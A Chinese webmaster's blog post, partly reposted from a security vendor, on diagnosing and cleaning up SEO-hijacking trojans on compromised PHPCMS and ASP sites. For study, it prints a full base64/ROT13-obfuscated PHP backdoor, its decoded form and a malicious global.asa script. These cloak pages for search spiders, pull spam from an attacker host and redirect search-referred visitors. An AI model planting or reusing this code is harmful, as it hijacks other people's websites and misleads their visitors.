公司的网站被挂马了,使用的方法是我还没有找到原因,但大概的原理是在网站的全局加入了全局代码或者函数,自动判断来访的是搜索引擎的蜘蛛还是普通的浏览器访问,如果是蜘蛛,自动返回一段新添加的代码,如果是浏览器则自动载入原网页。
我现在没有找出原因的问题是,一网站程序使用的是PHPCMS,我不是很熟悉,不知道全局代码如何调用的?二,之前没有接触过这样的黑网站方式,只是看过一两篇文章,不知道是在空间放置文件,还是在网站放置木马文件。三,这个网站不是我来搭建的,很多文件、文件夹不知道原有的还是被添加的。。。。
但是可以看到被挂马的表现是:在google site收录中,出现了很多外部内容页面,点击进入后仍显示原网页内容。通过一些模拟蜘蛛访问的站长工具访问该页面,则可以看到那些被挂的代码。
谷歌搜索引擎模拟访问工具:http://i.linkhelper.cn/googlerobots.asp
被挂搜索引擎木马现象:
一些页面和目录(粗略来看都是PHP文件)出现了被黑的现象:在谷歌的收录结果可以看到页面标题和内容是一些DNF的内容,打开页面却还显示正常的网页内容,用搜索引擎模拟工具可以发现网页载入的是一些乱七八糟的DNF论坛的帖子什么的。
但是在网站根目录没有找到奇怪的类似黑客的文件(本来网站文件较多,目录也很多)
网上被这种黑的网站有很多:http://www.baidu.com/s?wd=%E6%89%93%E6%8B%9B%E5%91%BC%E5%8F%91%E6%B6%88%E6%81%AF%20gyckr&pn=10&ie=utf-8&rsv_page=1
表面看起来都没有问题,但用搜索引擎模拟工具一看就完全不是网站的内容了。被这种类型的网站挂黑 的 基本都不能被搜索引擎收录快照
原因分析:
通过服务端的全局变量获取到上一个的访问地址的url也就是来源url。搜索引擎木马劫持就是利用这个,如果来访者是正常的人。那么就直接正常的跳转,如果来访者是蜘蛛,那么就利用302跳转(也不一定,反正就是载入非正常内容)到指定的url,那么蜘蛛就爬去的是指定url的内容,所以搜索引擎里面看到的内容和你的站点完全不相干。
排查分析:
搜索引擎木马一般是修改了网站的全局变量,因此注意排查那些出问题的页面调用的全局变量。或者可以进行关键词搜索:比如搜索百度蜘蛛、谷歌蜘蛛的英文名(baidu/baiduspider、google)。
我选择的是变量查找,实际的结果显示确实存在关键词,包括baidu google soso 还有DNF等,但是这些关键词都被base64加密了,直接搜索是搜索不到的。
接着说如何进行变量查找,正常的php文件一般会调用一个总的全局文件,文件名一般为common.php, common.inc.php等等之类,打开这样的全局变量文件,仔细查看发现不正常的地方,文件最下方被加入了一行加密代码。要仔细看,看不到就用软件对比看。有一行的区别,打开自动分行则可以看到一大堆代码。
这一行代码就是黑客加的代码了,一般会被进行各种加密的,我看到这一行就被进行了base64和ROT13加密。base64解码的工具网上一大堆,rot13编码和解码的工具:http://www.mxcz.net/tools/rot13.aspx
问题到此本该水落石出,其实我还是没有搞懂,虽然用那些DNF的内容引导了蜘蛛,可是新载入的DNF内容中并没有直接链接,并不会链接到目标论坛去,只会在被黑的网站里打转转。这样对黑客搞这个站有什么意义呢???待解答。
不过我还没有找到黑客加码的途径,一般情况下是网站有漏洞,建议各位及时打补丁。目前,这样的搜索引擎木马可以在discuz,phpcms等主流PHP程序上实现。
被挂的源代码
error_reporting (E_ERROR);$neegcc = $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')];$jaaemfenekcoic = $_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$bdohecifofdmlboddcballfiobig = $_SERVER[base64_decode('SFRUUF9SRUZFUkVS')];$gfhhjhanjidinhgjjfnmiamelcnld = $_SERVER[base64_decode('SFRUUF9IT1NU')];$mgfmkohfbgbngjl = $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];$eiebkhmda = base64_decode(str_rot13(‘LzWmYaycrzuiozphnJ5zomb1AGH1′));$eljdmgag = base64_decode(str_rot13(‘Y3g2LKW9Y2yhMTI4YaObpN==’));$lickmek = base64_decode(str_rot13(‘Y3g2LKW9Y2yhMTI4YaE4qN==’));$begbeknkamokonec = array(base64_decode(‘ZG5m’) => base64_decode(‘ZG5mfERORg==’),base64_decode(‘ZG5m’) => base64_decode(‘JUI1JUQ4JUNGJUMyJUIzJUM3fCVFNSU5QyVCMCVFNCVCOCU4QiVFNSU5RiU4RQ==’));$kbbgkkecklglhdoikae = array(base64_decode(”),base64_decode(‘Lw==’),base64_decode(‘L2ZvcnVtLnBocA==’),base64_decode(‘L2hvbWUucGhw’),base64_decode(‘L2luZGV4LnBocA==’),base64_decode(‘L3BvcnRhbC5waHA=’));$feeimmlfjiaeamfnibeldle = array(base64_decode(‘TWF4dGhvbg==’),base64_decode(‘RmlyZWZveA==’));$igaeoddhnembemichicil = array(base64_decode(‘MTI1LjkwLjkzLg==’),base64_decode(‘MTI3LjAuMC4=’),base64_decode(‘MTkyLjE2OC4xLg==’));$llijghbliimhohebl = array(base64_decode(‘YmFpZHU=’),base64_decode(‘Z29vZ2xl’),base64_decode(‘c29zbw==’),base64_decode(‘c29nb3U=’),base64_decode(‘eWFob28=’),base64_decode(‘YmluZw==’),base64_decode(‘eW91ZGFv’));$lcahbkhokdnjhbfdja = array(base64_decode(‘c2l0ZSUzQQ==’),base64_decode(‘aW51cmwlM0E=’));$ljkhmankkgdcghbkljibhk = array_keys($_GET);$doagnjooadjbnkcffmji = array_keys($begbeknkamokonec);$fddfdbodkhbniffakfjhdlhdjlfkehkjl = base64_decode(‘eDEyOA==’);$kgbfdmijalnnigedhcibfmhcblecdea = explode(base64_decode(‘Lg==’),$gfhhjhanjidinhgjjfnmiamelcnld);$nlbdoomjajincadghfailmboonecbico = count($kgbfdmijalnnigedhcibfmhcblecdea);if($nlbdoomjajincadghfailmboonecbico > 2) {$gfhhjhanjidinhgjjfnmiamelcnld = $kgbfdmijalnnigedhcibfmhcblecdea[$nlbdoomjajincadghfailmboonecbico-3].base64_decode(‘Lg==’).$kgbfdmijalnnigedhcibfmhcblecdea[$nlbdoomjajincadghfailmboonecbico-2].base64_decode(‘Lg==’).$kgbfdmijalnnigedhcibfmhcblecdea[$nlbdoomjajincadghfailmboonecbico-1];}$fgboacglhlabjnmahfalgnce = $gdjdhgimmjmnlejeakfkidkaj = $imlc = false;foreach($begbeknkamokonec as $ckhhe => $bcegihifak) {$ljm = explode(base64_decode(‘fA==’),$bcegihifak);foreach($ljm as $amakbmffjlf) {if(stristr($bdohecifofdmlboddcballfiobig,$amakbmffjlf)){$imlc = $ckhhe; $gdjdhgimmjmnlejeakfkidkaj = true; break;}}if(in_array($ckhhe,$ljkhmankkgdcghbkljibhk)) {$imlc = $ckhhe; $gdjdhgimmjmnlejeakfkidkaj = true;}if($gdjdhgimmjmnlejeakfkidkaj) {break;}}foreach($lcahbkhokdnjhbfdja as $dijkcokmoimkj) {if(stristr($bdohecifofdmlboddcballfiobig,$dijkcokmoimkj)){$gdjdhgimmjmnlejeakfkidkaj = false; break;}}foreach($feeimmlfjiaeamfnibeldle as $oooaodkhejakobgflnihfmbbcmgjhbfgbf) {if(stristr($neegcc,$oooaodkhejakobgflnihfmbbcmgjhbfgbf)){$gdjdhgimmjmnlejeakfkidkaj = false; break;}}foreach($llijghbliimhohebl as $abnfdjnannca) {if(stristr($neegcc,$abnfdjnannca)){$fgboacglhlabjnmahfalgnce = true; break;}}foreach($igaeoddhnembemichicil as $kmajofbdoekfnidhfcejlikhof) {if(stristr($jaaemfenekcoic,$kmajofbdoekfnidhfcejlikhof)){$gdjdhgimmjmnlejeakfkidkaj = false; $fgboacglhlabjnmahfalgnce = false; break;}}if($fgboacglhlabjnmahfalgnce && (!in_array($mgfmkohfbgbngjl,$kbbgkkecklglhdoikae))) {if(!$imlc) {$imlc = $doagnjooadjbnkcffmji[array_rand($doagnjooadjbnkcffmji)];}header(base64_decode(‘Y29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2IyMzEy’));$gdklldfddemlhgkamfjddgmddbagam = file_get_contents (base64_decode(‘aHR0cDovLw==’).$eiebkhmda.str_replace(base64_decode(‘e3Zhcn0=’),$imlc,$eljdmgag).base64_decode(‘P2Q9′).$gfhhjhanjidinhgjjfnmiamelcnld.base64_decode(‘JnI9′).bin2hex($mgfmkohfbgbngjl));$acbamlnmgnchbcmmikfmdkohfla = explode(base64_decode(‘WzB4U3BpZGVyXQ==’),$gdklldfddemlhgkamfjddgmddbagam);echo $acbamlnmgnchbcmmikfmdkohfla[1];exit;} elseif($gdjdhgimmjmnlejeakfkidkaj && $imlc && empty($_COOKIE[$fddfdbodkhbniffakfjhdlhdjlfkehkjl])) {setcookie($fddfdbodkhbniffakfjhdlhdjlfkehkjl,$gfhhjhanjidinhgjjfnmiamelcnld,time() + 259200);$gdklldfddemlhgkamfjddgmddbagam = file_get_contents (base64_decode(‘aHR0cDovLw==’).$eiebkhmda.str_replace(base64_decode(‘e3Zhcn0=’),$imlc,$lickmek));header(base64_decode(‘TG9jYXRpb246IA==’).base64_decode(str_rot13($gdklldfddemlhgkamfjddgmddbagam)).base64_decode(‘Iw==’).str_replace(base64_decode(‘Lg==’),base64_decode(‘Xw==’),$gfhhjhanjidinhgjjfnmiamelcnld));exit;}
解码后的代码
error_reporting (E_ERROR);$neegcc = $_SERVER[HTTP_USER_AGENT];$jaaemfenekcoic = $_SERVER[REMOTE_ADDR];$bdohecifofdmlboddcballfiobig = $_SERVER[HTTP_REFERER];$gfhhjhanjidinhgjjfnmiamelcnld = $_SERVER[HTTP_HOST];$mgfmkohfbgbngjl = $_SERVER[REQUEST_URI];$eiebkhmda =bbs.yizhong.info:5555;$eljdmgag = /{var}/index.php;$lickmek = /{var}/index.txt;$begbeknkamokonec = array(dnf =>dnf|DNF,dnf => 地下城|地下城;$kbbgkkecklglhdoikae = array(,/,/forum.php,/home.php,/index.php,/portal.php);$feeimmlfjiaeamfnibeldle = array(Maxthon,Firefox);$igaeoddhnembemichicil = array(125.90.93.,127.0.0.,192.168.1.);$llijghbliimhohebl = array(baidu,google,soso,sogou,yahoo,bing,youdao);$lcahbkhokdnjhbfdja = array(site:,inurl:);$ljkhmankkgdcghbkljibhk = array_keys($_GET);$doagnjooadjbnkcffmji = array_keys($begbeknkamokonec);$fddfdbodkhbniffakfjhdlhdjlfkehkjl =x128;$kgbfdmijalnnigedhcibfmhcblecdea = explode(.,$gfhhjhanjidinhgjjfnmiamelcnld);$nlbdoomjajincadghfailmboonecbico = count($kgbfdmijalnnigedhcibfmhcblecdea);if($nlbdoomjajincadghfailmboonecbico > 2) {$gfhhjhanjidinhgjjfnmiamelcnld = $kgbfdmijalnnigedhcibfmhcblecdea[$nlbdoomjajincadghfailmboonecbico-3]…$kgbfdmijalnnigedhcibfmhcblecdea[$nlbdoomjajincadghfailmboonecbico-2]…$kgbfdmijalnnigedhcibfmhcblecdea[$nlbdoomjajincadghfailmboonecbico-1];}$fgboacglhlabjnmahfalgnce = $gdjdhgimmjmnlejeakfkidkaj = $imlc = false;foreach($begbeknkamokonec as $ckhhe => $bcegihifak) {$ljm = explode(|,$bcegihifak);foreach($ljm as $amakbmffjlf) {if(stristr($bdohecifofdmlboddcballfiobig,$amakbmffjlf)){$imlc = $ckhhe; $gdjdhgimmjmnlejeakfkidkaj = true; break;}}if(in_array($ckhhe,$ljkhmankkgdcghbkljibhk)) {$imlc = $ckhhe; $gdjdhgimmjmnlejeakfkidkaj = true;}if($gdjdhgimmjmnlejeakfkidkaj) {break;}}foreach($lcahbkhokdnjhbfdja as $dijkcokmoimkj) {if(stristr($bdohecifofdmlboddcballfiobig,$dijkcokmoimkj)){$gdjdhgimmjmnlejeakfkidkaj = false; break;}}foreach($feeimmlfjiaeamfnibeldle as $oooaodkhejakobgflnihfmbbcmgjhbfgbf) {if(stristr($neegcc,$oooaodkhejakobgflnihfmbbcmgjhbfgbf)){$gdjdhgimmjmnlejeakfkidkaj = false; break;}}foreach($llijghbliimhohebl as $abnfdjnannca) {if(stristr($neegcc,$abnfdjnannca)){$fgboacglhlabjnmahfalgnce = true; break;}}foreach($igaeoddhnembemichicil as $kmajofbdoekfnidhfcejlikhof) {if(stristr($jaaemfenekcoic,$kmajofbdoekfnidhfcejlikhof)){$gdjdhgimmjmnlejeakfkidkaj = false; $fgboacglhlabjnmahfalgnce = false; break;}}if($fgboacglhlabjnmahfalgnce && (!in_array($mgfmkohfbgbngjl,$kbbgkkecklglhdoikae))) {if(!$imlc) {$imlc = $doagnjooadjbnkcffmji[array_rand($doagnjooadjbnkcffmji)];}header(content-Type: text/html; charset=gb2312);$gdklldfddemlhgkamfjddgmddbagam = file_get_contents (http://.$eiebkhmda.str_replace({var},$imlc,$eljdmgag).?d=.$gfhhjhanjidinhgjjfnmiamelcnld.&r=.bin2hex($mgfmkohfbgbngjl));$acbamlnmgnchbcmmikfmdkohfla = explode([0xSpider],$gdklldfddemlhgkamfjddgmddbagam);echo $acbamlnmgnchbcmmikfmdkohfla[1];exit;} elseif($gdjdhgimmjmnlejeakfkidkaj && $imlc && empty($_COOKIE[$fddfdbodkhbniffakfjhdlhdjlfkehkjl])) {setcookie($fddfdbodkhbniffakfjhdlhdjlfkehkjl,$gfhhjhanjidinhgjjfnmiamelcnld,time() + 259200);$gdklldfddemlhgkamfjddgmddbagam = file_get_contents (http://.$eiebkhmda.str_replace(base64_decode(‘e3Zhcn0=’),$imlc,$lickmek));header(Location: .base64_decode(str_rot13($gdklldfddemlhgkamfjddgmddbagam)).#.str_replace(“,_,$gfhhjhanjidinhgjjfnmiamelcnld));exit;}
参考文章和资料:
discuz论坛上关于这种木马的讨论。
http://www.discuz.net/thread-3020999-1-1.html
另一篇类似的搜索引擎木马的解决之道
最近单位网站在百度搜索点击打开都是黄色的,而直接输入网址反而没问题,在百度搜索中被提示为网站被黑的可能,很多客户搜索我们网站都进入了黄色网站,给公司的形象造成了很大的影响,作为公司的网站技术人员,以前也算是搞了5年的老站长了,什么事没惊着,从头开始分析网站被黑的原因。
百度的收录为基础
在百度Site下自己网站发现收录了许多色情类内容快照,什么电影,什么美女主播,看了收录足足300多条快照,再看下网站首页的收录,发现已经面目全非了,百度快照都是空的。网站的标题都成了网站的地址了,内容也为空了。我这才意识到完了,网站肯定是被K了。
打开其中任意一个地址,直接跳转到了黄色网站上,网站地址是:http://mrr.8800.org/mm/
如下图:
问题慢慢浮出水面
首先问题的表面就是网站的收录剧增,都是收录一些恶意的内容和违法的内容(包括时时彩色情什么的)。再一个表面特征是从搜索引擎来的点击会自动跳转到黄色网站上,自己输入网站则不会出现跳转。这时我充分的确定了是网站程序的问题,登陆空间FTP发现网站根目录下有许多陌生的文件夹,里面的网站文件打不开也删不掉,老提示没有权限删除。再往下级目录查看时发现了一个古怪的文件名,是global.asa 用sinesafe木马检测工具检测出是木马文件,内容如下:
< script runat=”server” >
‘网站全局文件
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject(“MSXML2.serverXMLHTTP”)
ObjXMLHTTP.Open “GET”,url,False
ObjXMLHTTP.setRequestHeader “User-Agent”,url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject(“Adodb.Stream”)
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = “gb2312″
GetHtml = objStream.ReadText
objStream.Close
End Function
Function check(user_agent)
allow_agent=split(“Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider”,”,”)
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
End function
Function CheckRefresh()
CheckRefresh = False
Dim Botlist,i,Repls
Krobotlist = “baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask”
Botlist = Split(Krobotlist,”|”)
For i = 0 To Ubound(Botlist)
If InStr(left(request.servervariables(“HTTP_REFERER”),”40″),Botlist(i)) > 0 Then
CheckRefresh = True
Exit For
End If
Next
End Function
sub Session_OnStart
On Error Resume Next
.servervariables(“Path_Translated”)
Set s=Server.CreateObject(“scripting.filesystemobject”)
set f=s.Getfile(“//./” & Server.MapPath(“/global.asa”))
v=Request.Form&Request.QueryString
if instr(v,”.asa”)>0 then
f.Attributes=39
response.end()
end if
if instr(name,”;”)>0 OR instr(server.MapPath(“.”),”.as”)>0 then
s.Getfile(name).Attributes=0
s.DeleteFile(name)
f.Attributes=39
response.end()
end if
S=”636e6e62643d6c6361736528726571756573742e736572766572:O=”":For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(“o=o&chr(&H”&c&”)”):Else:Execute(“o=o&chr(&H”&c&Mid(s,i+2,2)&”)”):i=i+2:End If:Next:execute o
end sub
看了这些代码我都有点懵圈了。
Baiduspider,Sogou,baidu,Sosospider,Googlebot,FASTWebCrawler,MSNBOT,Slurp,Qihoo” 这一行代码 就是搜索引擎的条件跳转代码,也就是说这个木马是根据搜索引擎来的,只要是从百度和搜狗还有谷歌来的都会直接跳转到他设定的网站。
还有一些是二进制的代码,是加了密的,我对解密不太懂,但是我的分析是他设定的跳转网址。找了几个朋友一起看了下代码,我的好朋友老刘说还有个条件跳转,是根据cookies和ip来跳转的,同一个IP和cookies只会弹窗一次,不会弹窗第二次。 黑客的手法也很高明,可见为了利益用了那么阴险的招。这种代码很安全,几乎不会让站长察觉到。
既然根源找到,解决游刃有余
把网站程序源码从空间下载了下来,放到sinesafe木马检测工具检测,又发现了许多木马文件,其中有global.asa z.aspx cende.asp phzLtoxn.php ,我在这里就不公布木马代码了,废话不多讲,直接点击清除木马,木马统统删除。ftp里删不掉的文件,找了空间商让他们在服务器里直接删除清空了目录。 最后一步就是要把网站的后台密码改掉,去年的csdn密码泄密事件搞的真让人担心,之前我是吃过亏,csdn密码和我的邮箱密码都用的一样的,导致我邮箱被盗,支付宝都被提现了,这亏吃的我是一辈子都记得,一朝被蛇咬十年怕井绳啊!
密码改掉后数据库的地址也要改掉,然后把清除木马的网站文件重新备份了一边,重新上传到空间,网站访问正常,之前被黑客攻击留下的百度痕迹需要到百度投诉中心提交一下,把网站被黑的原因写上,等百度的更新期,问题才得以解决.
一路的走来,非常的艰辛,经历才是最宝贵的,也希望上面的解决经历能够帮到更多需要帮助的人。每个站长的经历都不一样,都能无私共享一下,那么,我们站长的路会走的更远!
摘自:www.sinesafe.cn